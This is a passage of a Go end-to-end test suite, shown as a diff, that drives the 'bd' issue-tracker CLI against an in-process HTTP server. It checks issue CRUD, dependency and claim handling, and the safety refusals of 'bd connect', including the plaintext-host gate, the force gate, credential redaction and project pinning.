failed (exit %d): stdout=%s stderr=%s", create.code, create.stdout, create.stderr) + } + id := firstJSONField(t, create.stdout, "id") + if id == "" { + t.Fatalf("bd create --json produced no id: %s", create.stdout) + } + + // read back the revision bd show reports, so the update guard below + // names a token the row actually carries. + show := runBD(t, bin, workspace, nil, "show", id, "--json") + if show.code != 0 { + t.Fatalf("bd show failed (exit %d): stderr=%s", show.code, show.stderr) + } + revision := firstJSONField(t, show.stdout, "revision") + if revision == "" { + t.Fatalf("bd show --json reported no revision: %s", show.stdout) + } + if got := firstJSONField(t, show.stdout, "created_by"); got != creator { + t.Errorf("created_by = %q after an http create, want the creating actor %q: %s", got, creator, show.stdout) + } + + // The same create routed from this http workspace into a local one + // (--repo) is written by the local store, which records whatever stamp + // the command built: it must still be the actor, since nothing about the + // workspace a command runs in changes who created the issue. + local := t.TempDir() + routed := runBD(t, bin, workspace, asCreator, "create", "Routed", "--repo", local, "--json") + if routed.code != 0 { + t.Fatalf("bd create --repo %s failed (exit %d): stdout=%s stderr=%s", local, routed.code, routed.stdout, routed.stderr) + } + routedID := firstJSONField(t, routed.stdout, "id") + if routedID == "" { + t.Fatalf("bd create --repo --json produced no id: %s", routed.stdout) + } + routedShow := runBD(t, bin, local, nil, "show", routedID, "--json") + if routedShow.code != 0 { + t.Fatalf("bd show %s in the routed-to workspace failed (exit %d): stderr=%s", routedID, routedShow.code, routedShow.stderr) + } + if got := firstJSONField(t, routedShow.stdout, "created_by"); got != creator { + t.Errorf("created_by = %q on a create routed from an http workspace, want the creating actor %q: %s", got, creator, routedShow.stdout) + } + + // update with a MATCHING --if-revision guard: must succeed. + okUpdate := runBD(t, bin, workspace, nil, "update", id, "-a", "alice", "--if-revision", revision, "--json") + if okUpdate.code != 0 { + t.Fatalf("bd update --if-revision %s (matching) failed (exit %d): stdout=%s stderr=%s", + revision, okUpdate.code, okUpdate.stdout, okUpdate.stderr) + } + + // update again with the SAME (now stale) token: must refuse with exit 13 + // and the precondition_failed machine body on the last stderr line. + staleUpdate := runBD(t, bin, workspace, nil, "update", id, "-a", "bob", "--if-revision", revision, "--json") + if staleUpdate.code != 13 { + t.Fatalf("bd update --if-revision %s (stale) exit = %d, want 13 (ExitGuardMismatch): stdout=%s stderr=%s", + revision, staleUpdate.code, staleUpdate.stdout, staleUpdate.stderr) + } + body := lastJSONLine(t, staleUpdate.stderr) + if body["code"] != "precondition_failed" { + t.Errorf("stale --if-revision body code = %v, want \"precondition_failed\": %s", body["code"], staleUpdate.stderr) + } + if body["id"] != id { + t.Errorf("stale --if-revision body id = %v, want %q: %s", body["id"], id, staleUpdate.stderr) + } + + // dep add + a second issue to depend on, then ready/count/close/delete. + // id depends on (is blocked by) depID (dep.go's own doc: "bd dep add + // issue-123 issue-456" means issue-123 depends on issue-456), so depID + // is the one issue the ready set must show and id is the one it must not. + dep := runBD(t, bin, workspace, nil, "create", "A dependency", "--json") + if dep.code != 0 { + t.Fatalf("bd create (dependency) failed (exit %d): stderr=%s", dep.code, dep.stderr) + } + depID := firstJSONField(t, dep.stdout, "id") + + if r := runBD(t, bin, workspace, nil, "dep", "add", id, depID, "--json"); r.code != 0 { + t.Fatalf("bd dep add failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + + ready := runBD(t, bin, workspace, nil, "ready", "--json") + if ready.code != 0 { + t.Fatalf("bd ready failed (exit %d): stdout=%s stderr=%s", ready.code, ready.stdout, ready.stderr) + } + readyIDs := jsonIDSet(t, ready.stdout) + if !readyIDs[depID] { + t.Errorf("bd ready did not list %s (no deps of its own, open): %s", depID, ready.stdout) + } + if readyIDs[id] { + t.Errorf("bd ready listed %s, which depends on the still-open %s: %s", id, depID, ready.stdout) + } + + count := runBD(t, bin, workspace, nil, "count", "--json") + if count.code != 0 { + t.Fatalf("bd count failed (exit %d): stdout=%s stderr=%s", count.code, count.stdout, count.stderr) + } + if n := jsonIntField(t, count.stdout, "count"); n != 2 { + t.Errorf("bd count = %d, want 2 (id and depID, the only issues this workspace has): %s", n, count.stdout) + } + + // The http backend serves listing, trees, claims and closes only as roles, + // and refuses the legacy store methods the external-dependency decorator + // once rebuilt those roles over, so each command below exited 1 here, even + // with nothing externally blocked. + list := runBD(t, bin, workspace, nil, "list", "--json") + if list.code != 0 { + t.Fatalf("bd list --json failed (exit %d): stdout=%s stderr=%s", list.code, list.stdout, list.stderr) + } + if listIDs := jsonIDSet(t, list.stdout); !listIDs[id] || !listIDs[depID] { + t.Errorf("bd list --json did not list both %s and %s: %s", id, depID, list.stdout) + } + textList := runBD(t, bin, workspace, nil, "list") + if textList.code != 0 || !strings.Contains(textList.stdout, id) || !strings.Contains(textList.stdout, depID) { + t.Errorf("bd list (exit %d) did not list both %s and %s: stdout=%s stderr=%s", textList.code, id, depID, textList.stdout, textList.stderr) + } + // --deps turns a failed whole-workspace edge scan behind that tree (the + // divergence ledger's L8) from a silent omission into an error. + depsList := runBD(t, bin, workspace, nil, "list", "--deps") + if depsList.code != 0 || !strings.Contains(depsList.stdout, id) || !strings.Contains(depsList.stdout, depID) { + t.Errorf("bd list --deps (exit %d) did not list both %s and %s: stdout=%s stderr=%s", depsList.code, id, depID, depsList.stdout, depsList.stderr) + } + + // An external dependency on a project this workspace has not configured + // stays unsatisfied, so extID is blocked for as long as it is open. At + // priority 0 it sorts ahead of depID, where a claim blind to that would + // take it. + const externalRef = "external:otherproj:cap" + ext := runBD(t, bin, workspace, nil, "create", "Externally blocked", "-p", "0", "--json") + if ext.code != 0 { + t.Fatalf("bd create (externally blocked) failed (exit %d): stderr=%s", ext.code, ext.stderr) + } + extID := firstJSONField(t, ext.stdout, "id") + if r := runBD(t, bin, workspace, nil, "dep", "add", extID, externalRef, "--json"); r.code != 0 { + t.Fatalf("bd dep add %s %s failed (exit %d): stdout=%s stderr=%s", extID, externalRef, r.code, r.stdout, r.stderr) + } + tree := runBD(t, bin, workspace, nil, "dep", "tree", extID, "--json") + if tree.code != 0 { + t.Fatalf("bd dep tree %s failed (exit %d): stdout=%s stderr=%s", extID, tree.code, tree.stdout, tree.stderr) + } + if !jsonIDSet(t, tree.stdout)[externalRef] { + t.Errorf("bd dep tree %s did not show its %s leaf: %s", extID, externalRef, tree.stdout) + } + for _, args := range [][]string{{"ready", "--json"}, {"list", "--ready", "--json"}} { + r := runBD(t, bin, workspace, nil, args...) + if r.code != 0 { + t.Fatalf("bd %s failed (exit %d): stdout=%s stderr=%s", strings.Join(args, " "), r.code, r.stdout, r.stderr) + } + if readyIDs := jsonIDSet(t, r.stdout); !readyIDs[depID] || readyIDs[extID] || readyIDs[id] { + t.Errorf("bd %s = %s, want %s and neither %s nor %s", strings.Join(args, " "), r.stdout, depID, extID, id) + } + } + claim := runBD(t, bin, workspace, nil, "ready", "--claim", "--json") + if claim.code != 0 { + t.Fatalf("bd ready --claim failed (exit %d): stdout=%s stderr=%s", claim.code, claim.stdout, claim.stderr) + } + if got := firstJSONField(t, claim.stdout, "id"); got != depID { + t.Errorf("bd ready --claim claimed %q, want %s (%s is externally blocked): %s", got, depID, extID, claim.stdout) + } + // --claim-next refuses whole over http, before anything closes, and names + // the commands that do the same work. It is asked again once extID is + // closed, because a closed holder of an external ref changes nothing. + refuseClaimNext := func(when string) { + t.Helper() + r := runBD(t, bin, workspace, nil, "close", depID, "--claim-next") + if r.code == 0 || !strings.Contains(r.stderr, "nothing was closed") || !strings.Contains(r.stderr, "bd ready --claim") { + t.Errorf("bd close %s --claim-next %s (exit %d) did not refuse with the bd ready --claim hint: stdout=%s stderr=%s", depID, when, r.code, r.stdout, r.stderr) + } + show := runBD(t, bin, workspace, nil, "show", depID, "--json") + if status := firstJSONField(t, show.stdout, "status"); show.code != 0 || status == "closed" { + t.Errorf("bd show %s (exit %d) status = %q after a refused bd close --claim-next %s, want it not closed: stderr=%s", depID, show.code, status, when, show.stderr) + } + } + refuseClaimNext("while " + extID + " is open") + refused := runBD(t, bin, workspace, nil, "close", extID) + if refused.code == 0 || !strings.Contains(refused.stderr, externalRef) || !strings.Contains(refused.stderr, "use --force") { + t.Errorf("bd close %s (exit %d) did not refuse it as blocked by %s: stdout=%s stderr=%s", extID, refused.code, externalRef, refused.stdout, refused.stderr) + } + if r := runBD(t, bin, workspace, nil, "close", extID, "--force", "--json"); r.code != 0 { + t.Fatalf("bd close %s --force failed (exit %d): stdout=%s stderr=%s", extID, r.code, r.stdout, r.stderr) + } + forcedShow := runBD(t, bin, workspace, nil, "show", extID, "--json") + if status := firstJSONField(t, forcedShow.stdout, "status"); forcedShow.code != 0 || status != "closed" { + t.Errorf("bd show %s (exit %d) status = %q after bd close --force, want %q: stderr=%s", extID, forcedShow.code, status, "closed", forcedShow.stderr) + } + refuseClaimNext("after " + extID + " was closed") + + // The closed extID still holds an unsatisfied external ref, so the claim + // stays on the decorator's composed leg (ledger row L14). It must still + // take what the served claim would: the one open, unassigned issue, since + // depID is claimed and id is assigned. + next := runBD(t, bin, workspace, nil, "create", "Claimable after the holder closed", "--json") + if next.code != 0 { + t.Fatalf("bd create (claimable) failed (exit %d): stdout=%s stderr=%s", next.code, next.stdout, next.stderr) + } + nextID := firstJSONField(t, next.stdout, "id") + reclaim := runBD(t, bin, workspace, nil, "ready", "--claim", "--json") + if reclaim.code != 0 { + t.Fatalf("bd ready --claim after %s was closed failed (exit %d): stdout=%s stderr=%s", extID, reclaim.code, reclaim.stdout, reclaim.stderr) + } + if got := firstJSONField(t, reclaim.stdout, "id"); got != nextID { + t.Errorf("bd ready --claim after %s was closed claimed %q, want %s: %s", extID, got, nextID, reclaim.stdout) + } + + if r := runBD(t, bin, workspace, nil, "close", depID, "--json"); r.code != 0 { + t.Fatalf("bd close failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + closedShow := runBD(t, bin, workspace, nil, "show", depID, "--json") + if closedShow.code != 0 { + t.Fatalf("bd show %s (after close) failed (exit %d): stderr=%s", depID, closedShow.code, closedShow.stderr) + } + if status := firstJSONField(t, closedShow.stdout, "status"); status != "closed" { + t.Errorf("bd show %s status = %q after bd close, want %q: %s", depID, status, "closed", closedShow.stdout) + } + + if r := runBD(t, bin, workspace, nil, "delete", id, "--force", "--json"); r.code != 0 { + t.Fatalf("bd delete failed (exit %d): stdout=%s stderr=%s", r.code, r.stdout, r.stderr) + } + deletedShow := runBD(t, bin, workspace, nil, "show", id, "--json") + if deletedShow.code == 0 { + t.Errorf("bd show %s succeeded (exit 0) after bd delete --force; want a not-found refusal: stdout=%s", id, deletedShow.stdout) + } +} + +// TestE2E_ConnectRefusesPlainHTTPToNonLoopback kills the mutation that +// disables connect.go's plaintext-host refusal (`&& !connectAllowPlaintext` +// widened to `&& !connectAllowPlaintext && false`). A bearer credential this +// workspace would send to a non-loopback http:// server travels the network +// unencrypted, so connect must refuse before ever dialing — which this test +// also verifies directly: 198.51.100.1 is RFC 5737 TEST-NET-2, reserved for +// documentation and globally unroutable, so even a mutated build that skipped +// the refusal could not reach a real server here, keeping this test on the +// loopback-only network the rest of this suite requires. +func TestE2E_ConnectRefusesPlainHTTPToNonLoopback(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + workspace := t.TempDir() + + const nonLoopbackURL = "http://198.51.100.1:1/" + refused := runBD(t, bin, workspace, nil, "connect", nonLoopbackURL, "--json") + if refused.code == 0 { + t.Fatalf("bd connect %s succeeded; want a refusal (not loopback, plain http, no --allow-plaintext): stdout=%s", nonLoopbackURL, refused.stdout) + } + if !strings.Contains(refused.stderr, "not loopback") { + t.Errorf("bd connect %s stderr does not name the loopback refusal; want the host-safety gate, not some other failure: exit=%d stdout=%s stderr=%s", + nonLoopbackURL, refused.code, refused.stdout, refused.stderr) + } + if _, err := os.Stat(filepath.Join(workspace, ".beads", "http_target.json")); err == nil { + t.Error("bd connect wrote the activation sidecar despite refusing the connection") + } +} + +// TestE2E_ConnectRefusesSwitchingBackendWithoutForce kills the mutation that +// disables connect.go's backend-switch force gate (`&& !connectForce` +// widened to `&& !connectForce && false`). A workspace that already selects +// a different backend must refuse to switch to http without --force; with +// --force it must proceed PAST that gate, so the test tells the two +// refusals apart by what they say, not just that they both fail: a port +// nothing listens on (still loopback, so it clears the plaintext-host gate +// above) turns "the force gate let this through" into its own distinct +// dial failure rather than a false pass. +func TestE2E_ConnectRefusesSwitchingBackendWithoutForce(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + if err := os.WriteFile(filepath.Join(beadsDir, "metadata.json"), []byte(`{"backend":"dolt"}`), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + + const target = "http://127.0.0.1:1/" + + withoutForce := runBD(t, bin, workspace, nil, "connect", target, "--json") + if withoutForce.code == 0 { + t.Fatalf("bd connect %s without --force succeeded; workspace already selects backend %q", target, "dolt") + } + if !strings.Contains(withoutForce.stderr, "--force") { + t.Errorf("bd connect without --force did not mention --force in its refusal; want the backend-switch gate, not some other failure: exit=%d stdout=%s stderr=%s", + withoutForce.code, withoutForce.stdout, withoutForce.stderr) + } + + withForce := runBD(t, bin, workspace, nil, "connect", target, "--force", "--json") + if withForce.code == 0 { + t.Fatalf("bd connect %s --force succeeded against a port nothing listens on", target) + } + if strings.Contains(withForce.stderr, "--force") { + t.Errorf("bd connect --force still hit the force-gate refusal; the gate was not bypassed: stderr=%s", withForce.stderr) + } + + data, err := os.ReadFile(filepath.Join(beadsDir, "metadata.json")) + if err != nil { + t.Fatalf("read metadata.json: %v", err) + } + if !strings.Contains(string(data), `"dolt"`) { + t.Errorf("metadata.json no longer names backend dolt after the refused connect attempt: %s", data) + } +} + +// TestE2E_ConnectRedactsCredentialsEverywhereItPrintsTheURL is MED-3's +// regression test: a URL pasted with a userinfo password must never have +// that password echoed back by connect, in any output stream, on any path — +// success or failure. The target here fails at the handshake dial (loopback, +// nothing listening on port 1), which is exactly the path that used to wrap +// the raw argument into "connecting to %s: %v". +func TestE2E_ConnectRedactsCredentialsEverywhereItPrintsTheURL(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + workspace := t.TempDir() + + const password = "s3cr3t-password-998" //nolint — a fixture value, not a real credential. + target := "http://alice:" + password + "@127.0.0.1:1/" + + r := runBD(t, bin, workspace, nil, "connect", target, "--json") + if r.code == 0 { + t.Fatalf("bd connect %s succeeded against a port nothing listens on", target) + } + if strings.Contains(r.stdout, password) || strings.Contains(r.stderr, password) { + t.Errorf("bd connect's output carries the literal userinfo password %q: stdout=%s stderr=%s", password, r.stdout, r.stderr) + } +} + +// TestE2E_ReconnectRefusesADifferentProjectUnlessForced is MED-5's test: a +// bare re-connect (no --expect-project-id, no --force) against a server that +// answers with a DIFFERENT project id than the one the workspace's sidecar +// already pinned must refuse, not silently re-pin — connect.go used to build +// the new Target from --expect-project-id alone, so a plain `bd connect +// ` with nothing on the command line would adopt whatever the +// new server said with no refusal at all. --force must still get past it. +func TestE2E_ReconnectRefusesADifferentProjectUnlessForced(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + + firstAddr := startE2EServer(t) // publishes e2eProjectID + secondAddr := startE2EServerWithIdentity(t, "proj-e2e-s6-OTHER", "httpe2e_other") + workspace := t.TempDir() + + first := runBD(t, bin, workspace, nil, "connect", "http://"+firstAddr, "--json") + if first.code != 0 { + t.Fatalf("first bd connect failed (exit %d): stdout=%s stderr=%s", first.code, first.stdout, first.stderr) + } + pinned, err := os.ReadFile(filepath.Join(workspace, ".beads", "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after first connect: %v", err) + } + if !strings.Contains(string(pinned), e2eProjectID) { + t.Fatalf("sidecar after first connect does not carry %q: %s", e2eProjectID, pinned) + } + + // A bare re-connect to the DIFFERENT server, no --expect-project-id, no + // --force: must refuse, carrying the prior pin forward rather than + // adopting the new server's answer. + again := runBD(t, bin, workspace, nil, "connect", "http://"+secondAddr, "--json") + if again.code == 0 { + t.Fatalf("bare re-connect to a different project's server succeeded; want a refusal: stdout=%s", again.stdout) + } + if !strings.Contains(again.stderr, e2eProjectID) { + t.Errorf("re-connect refusal does not name the prior pin %q: stderr=%s", e2eProjectID, again.stderr) + } + stillPinned, err := os.ReadFile(filepath.Join(workspace, ".beads", "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after refused re-connect: %v", err) + } + if string(stillPinned) != string(pinned) { + t.Errorf("sidecar changed after a REFUSED re-connect: before=%s after=%s", pinned, stillPinned) + } + + // --force gets past it and re-pins to the new server's project. + forced := runBD(t, bin, workspace, nil, "connect", "http://"+secondAddr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force to the other project failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + refetched, err := os.ReadFile(filepath.Join(workspace, ".beads", "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after forced re-connect: %v", err) + } + if !strings.Contains(string(refetched), "proj-e2e-s6-OTHER") { + t.Errorf("sidecar after --force re-connect does not carry the new project id: %s", refetched) + } +} + +// TestE2E_SwitchingBackToDoltLeavesOriginalIdentityIntact is MED-6's test: +// `bd connect --force` on a workspace that already selects dolt must not +// rewrite that workspace's git-tracked metadata.json project_id/database — +// the http identity belongs in the gitignored sidecar alone. This proves it +// by round-tripping: a dolt workspace with its own original project_id and +// database connects to http, and metadata.json's original dolt fields must +// still read back unchanged afterward — exactly what "switching back to +// dolt" would see, since nothing ever touched them to switch back FROM. +func TestE2E_SwitchingBackToDoltLeavesOriginalIdentityIntact(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) // publishes e2eProjectID, unrelated to the dolt identity below. + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + const ( + originalProjectID = "dolt-original-project" + originalDatabase = "dolt-original-db" + ) + metadataPath := filepath.Join(beadsDir, "metadata.json") + original := fmt.Sprintf(`{"backend":"dolt","database":%q,"project_id":%q}`, originalDatabase, originalProjectID) + if err := os.WriteFile(metadataPath, []byte(original), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + + forced := runBD(t, bin, workspace, nil, "connect", "http://"+addr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + + data, err := os.ReadFile(metadataPath) + if err != nil { + t.Fatalf("read metadata.json after connect: %v", err) + } + var after struct { + Backend string `json:"backend"` + Database string `json:"database"` + ProjectID string `json:"project_id"` + } + if err := json.Unmarshal(data, &after); err != nil { + t.Fatalf("parse metadata.json after connect: %v\n%s", err, data) + } + if after.Backend != "http" { + t.Errorf("metadata.json backend = %q after connect, want %q: %s", after.Backend, "http", data) + } + // The MED-6 assertion: connect must NOT have overwritten these with the + // http server's own database/project_id (e2eDatabase/e2eProjectID) — a + // future switch back to dolt reads these same, untouched fields. + if after.Database != originalDatabase { + t.Errorf("metadata.json database = %q after bd connect --force, want the original %q untouched (MED-6: connect must not rewrite it): %s", + after.Database, originalDatabase, data) + } + if after.ProjectID != originalProjectID { + t.Errorf("metadata.json project_id = %q after bd connect --force, want the original %q untouched (MED-6: connect must not rewrite it): %s", + after.ProjectID, originalProjectID, data) + } + + // The http identity itself lives in the sidecar, not metadata.json. + sidecar, err := os.ReadFile(filepath.Join(beadsDir, "http_target.json")) + if err != nil { + t.Fatalf("read sidecar after connect: %v", err) + } + if !strings.Contains(string(sidecar), e2eProjectID) { + t.Errorf("sidecar does not carry the http server's project id %q: %s", e2eProjectID, sidecar) + } +} + +// TestE2E_ConnectClearRestoresThePreviousBackend pins `bd connect --clear` +// (bee-ghosttrack CHANGES_REQUESTED on #7288, should-fix 1): a dolt workspace +// forced onto http and then cleared must select dolt again, with the sidecar +// gone and metadata.json's own dolt identity untouched. A second --clear finds +// nothing to clear and leaves metadata.json alone. +func TestE2E_ConnectClearRestoresThePreviousBackend(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + const ( + originalProjectID = "dolt-original-project-for-clear" + originalDatabase = "dolt-original-db-for-clear" + ) + metadataPath := filepath.Join(beadsDir, "metadata.json") + original := fmt.Sprintf(`{"backend":"dolt","database":%q,"project_id":%q}`, originalDatabase, originalProjectID) + if err := os.WriteFile(metadataPath, []byte(original), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + sidecarPath := filepath.Join(beadsDir, "http_target.json") + + forced := runBD(t, bin, workspace, nil, "connect", "http://"+addr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + if _, err := os.Stat(sidecarPath); err != nil { + t.Fatalf("bd connect --force did not write the sidecar: %v", err) + } + + type clearResult struct { + Cleared bool `json:"cleared"` + RestoredBackend string `json:"restored_backend"` + } + type identity struct { + Backend string `json:"backend"` + Database string `json:"database"` + ProjectID string `json:"project_id"` + } + readMetadata := func() identity { + t.Helper() + data, err := os.ReadFile(metadataPath) + if err != nil { + t.Fatalf("read metadata.json: %v", err) + } + var got identity + if err := json.Unmarshal(data, &got); err != nil { + t.Fatalf("parse metadata.json: %v\n%s", err, data) + } + return got + } + want := identity{Backend: "dolt", Database: originalDatabase, ProjectID: originalProjectID} + + cleared := runBD(t, bin, workspace, nil, "connect", "--clear", "--json") + if cleared.code != 0 { + t.Fatalf("bd connect --clear failed (exit %d): stdout=%s stderr=%s", cleared.code, cleared.stdout, cleared.stderr) + } + var first clearResult + if err := json.Unmarshal([]byte(cleared.stdout), &first); err != nil { + t.Fatalf("parse bd connect --clear --json: %v\n%s", err, cleared.stdout) + } + if !first.Cleared || first.RestoredBackend != "dolt" { + t.Errorf("bd connect --clear = %+v, want cleared and dolt restored: %s", first, cleared.stdout) + } + if _, err := os.Stat(sidecarPath); !os.IsNotExist(err) { + t.Errorf("sidecar still present after bd connect --clear (stat err %v)", err) + } + if got := readMetadata(); got != want { + t.Errorf("metadata.json after bd connect --clear = %+v, want %+v", got, want) + } + + again := runBD(t, bin, workspace, nil, "connect", "--clear", "--json") + if again.code != 0 { + t.Fatalf("second bd connect --clear failed (exit %d): stdout=%s stderr=%s", again.code, again.stdout, again.stderr) + } + var second clearResult + if err := json.Unmarshal([]byte(again.stdout), &second); err != nil { + t.Fatalf("parse second bd connect --clear --json: %v\n%s", err, again.stdout) + } + if second != (clearResult{}) { + t.Errorf("second bd connect --clear = %+v, want nothing cleared or restored: %s", second, again.stdout) + } + if got := readMetadata(); got != want { + t.Errorf("metadata.json after a second bd connect --clear = %+v, want %+v", got, want) + } +} + +// TestE2E_ForceConnectWritesSucceedDespiteDifferingLocalProjectID pins the +// bee-ghosttrack CHANGES_REQUESTED finding on #7288: after `bd connect +// --force` over a workspace that already had a LOCAL (dolt) identity, every +// write used to fail with "workspace identity mismatch detected". That +// check compared metadata.json's project_id (the original dolt workspace's +// identity, left untouched by connect per MED-6 — see +// TestE2E_SwitchingBackToDoltLeavesOriginalIdentityIntact above) against the +// live server's _project_id, and those two are legitimately different +// projects; the check needs the http backend's OWN pin (the sidecar's +// ExpectProjectID, set by this same connect) instead. +// +// This reuses that test's exact setup — a workspace with its own original +// dolt project_id, forced onto an unrelated server's project — but goes +// further: it actually writes (create, update, comments add) over the new +// http connection, which is what the finding says used to fail outright. +func TestE2E_ForceConnectWritesSucceedDespiteDifferingLocalProjectID(t *testing.T) { + skipUnlessEmbeddedDolt(t) + bin := buildBD(t) + addr := startE2EServer(t) // publishes e2eProjectID, unrelated to the dolt identity below. + workspace := t.TempDir() + beadsDir := filepath.Join(workspace, ".beads") + if err := os.MkdirAll(beadsDir, 0o700); err != nil { + t.Fatalf("mkdir .beads: %v", err) + } + const ( + originalProjectID = "dolt-original-project-for-writes" + originalDatabase = "dolt-original-db-for-writes" + ) + metadataPath := filepath.Join(beadsDir, "metadata.json") + original := fmt.Sprintf(`{"backend":"dolt","database":%q,"project_id":%q}`, originalDatabase, originalProjectID) + if err := os.WriteFile(metadataPath, []byte(original), 0o600); err != nil { + t.Fatalf("write metadata.json: %v", err) + } + + forced := runBD(t, bin, workspace, nil, "connect", "http://"+addr, "--force", "--json") + if forced.code != 0 { + t.Fatalf("bd connect --force failed (exit %d): stdout=%s stderr=%s", forced.code, forced.stdout, forced.stderr) + } + + create := runBD(t, bin, workspace, nil, "create", "A title over http after forced connect", "--json") + if create.code != 0 { + t.Fatalf("bd create after forced connect failed (exit %d): stdout=%s stderr=%s", create.code, create.stdout, create.stderr) + } + if strings.Contains(create.stderr, "workspace identity mismatch") { + t.Fatalf("bd create tripped the workspace-identity-mismatch refusal despite connect having just pinned this project: stderr=%s", create.stderr) + } + id := firstJSONField(t, create.stdout, "id") + if id == "" { + t.Fatalf("bd create --json produced no id: %s", create.stdout) + } + + update := runBD(t, bin, workspace, nil, "update", id, "-a", "alice", "--json") + if update.code != 0 { + t.Fatalf("bd update after forced connect failed (exit %d): stdout=%s stderr=%s", update.code, update.stdout, update.stderr) + } + if strings.Contains(update.stderr, "workspace identity mismatch") { + t.Fatalf("bd update tripped the workspace-identity-mismatch refusal despite connect having just pinned this project: stderr=%s", update.stderr) + } + + comment := runBD(t, bin, workspace, nil, "comments", "add", id, "a comment over http after forced connect", "--json") + if comment.code != 0 { + t.Fatalf("bd comments add after forced connect failed (exit %d): stdout=%s stderr=%s", comment.code, comment.stdout, comment.stderr) + } + if strings.Contains(comment.stderr, "workspace identity mismatch") { + t.Fatalf("bd comments add tripped the workspace-identity-mismatch refusal despite connect having just pinned this project: stderr=%s", comment.stderr) + } +} + +// startE2EServer boots an in-process `bd serve` over embedded Dolt and +// returns its bound 127.0.0.1 address. It is the same role-binding shape as +// internal/httpclient's servedEnv harness, kept separate because that one is +// unexported in a different package: this test drives the CLI, not the +// internal wire client, so it owns its own (smaller) copy rather than +// reaching across the package boundary. +// +// This stays the one server topology this file uses — a real `bd serve` +// SUBPROCESS, gated on BEADS_TEST_DOLT_SERVER=local the way +// internal/testutil's local Dolt backend is elsewhere, was considered and +// rejected: +// +// 1. bd serve permanently refuses an embedded-Dolt workspace +// (cmd/bd/serve.go's serveDatabaseSource, "EMBEDDED DOLT IS PERMANENT"). +// A real `bd` subprocess pointed at a `bd init`-created workspace with no +// registered backend would therefore refuse to start at all — there is no +// bd-init-then-bd-serve shape for this backend to drive as a subprocess. +// 2. The one way around that refusal, a registered backend whose Open hands +// back a real embedded store (what cmd/bd/serve_registered_backend_test.go +// does), only exists as Go wiring injected into the SAME test process — +// registration happens at init() time, so a spawned `bd` subprocess has +// nothing registered and cannot reproduce it. That file's own comment +// reaches the identical conclusion for the identical reason. +// 3. The other way around it is a real, non-embedded Dolt SQL server behind +// "shared"/proxied mode (BEADS_DOLT_SHARED_SERVER=1, internal/testutil's +// local-or-container harness, cmd/bd/serve_proxied_integration_test.go's +// startServe). That subprocess `bd serve` lifecycle contract — the bound +// address on stdout's first line, signal-driven shutdown, the auth +// posture warnings — is already pinned end to end there, against exactly +// that topology. Reproducing it a second time in this package would +// stand up a second real Dolt SQL server fixture per run to re-test the +// same `bd serve` CLI plumbing that package already owns, not anything +// specific to the public backend/http door this package exists to prove. +// +// What this e2e tier specifically has to show — bd connect, then full CRUD, +// actually working end to end over the wire against a real listening server +// — is exactly what the in-process httpapi.Listen harness below proves: it +// is the identical httpapi.Config / Listen / Serve call bd serve's own +// serveListen makes, bound to a real TCP socket a real `bd` binary dials +// unmodified. A real `bd serve` subprocess on top of that would add only +// coverage of serve's own flag parsing and workspace-source resolution, +// which belongs to (and is already owned by) cmd/bd/serve_test.go and +// cmd/bd/serve_proxied_integration_test.go. +func startE2EServer(t *testing.T) string { + t.Helper() + return startE2EServerWithIdentity(t, e2eProjectID, e2eDatabase) +} + +// startE2EServerWithIdentity is startE2EServer, parameterized on the identity +// the in-process server publishes at handshake. MED-5's reconnect-mismatch +// test needs a SECOND server that answers with a DIFFERENT project id than +// the one a prior `bd connect` already pinned, to prove the pin is honored +// rather than silently replaced. +func startE2EServerWithIdentity(t *testing.T, projectID, database string) string { + t.Helper() + beadsDir := t.TempDir() + ctx := context.Background() + reference, err := embeddeddolt.Open(ctx, beadsDir, database, "main") + if err != nil { + t.Fatalf("open the reference store: %v", err) + } + t.Cleanup(func() { _ = reference.Close() }) + if err := reference.SetConfig(ctx, "issue_prefix", "e2e"); err != nil { + t.Fatalf("set the issue prefix: %v", err) + } + + cfg := e2eServeConfig(t, reference, projectID, database) + srv, err := httpapi.Listen(cfg) + if err != nil { + t.Fatalf("bind the in-process server: %v", err) + } + serveCtx, cancel := context.WithCancel(context.Background()) + done := make(chan struct{}) + go func() { defer close(done); _ = srv.Serve(serveCtx) }() + t.Cleanup(func() { + cancel() + select { + case <-done: + case <-time.After(30 * time.Second): + t.Error("the in-process server did not shut down") + } + }) + return srv.Addr() +} + +func e2eServeConfig(t *testing.T, s storage.DoltStorage, projectID, database string) httpapi.Config { + t.Helper() + cfg := httpapi.Config{ + Addr: "127.0.0.1:0", + Stdout: io.Discard, + Stderr: io.Discard, + Workspace: domain.ContextInfo{ProjectID: projectID, Database: database}, + } + var err error + fail := func(name string) { + t.Helper() + if err != nil { + t.Fatalf("%s(): %v", name, err) + } + } + cfg.Reader, err = s.IssueReader() + 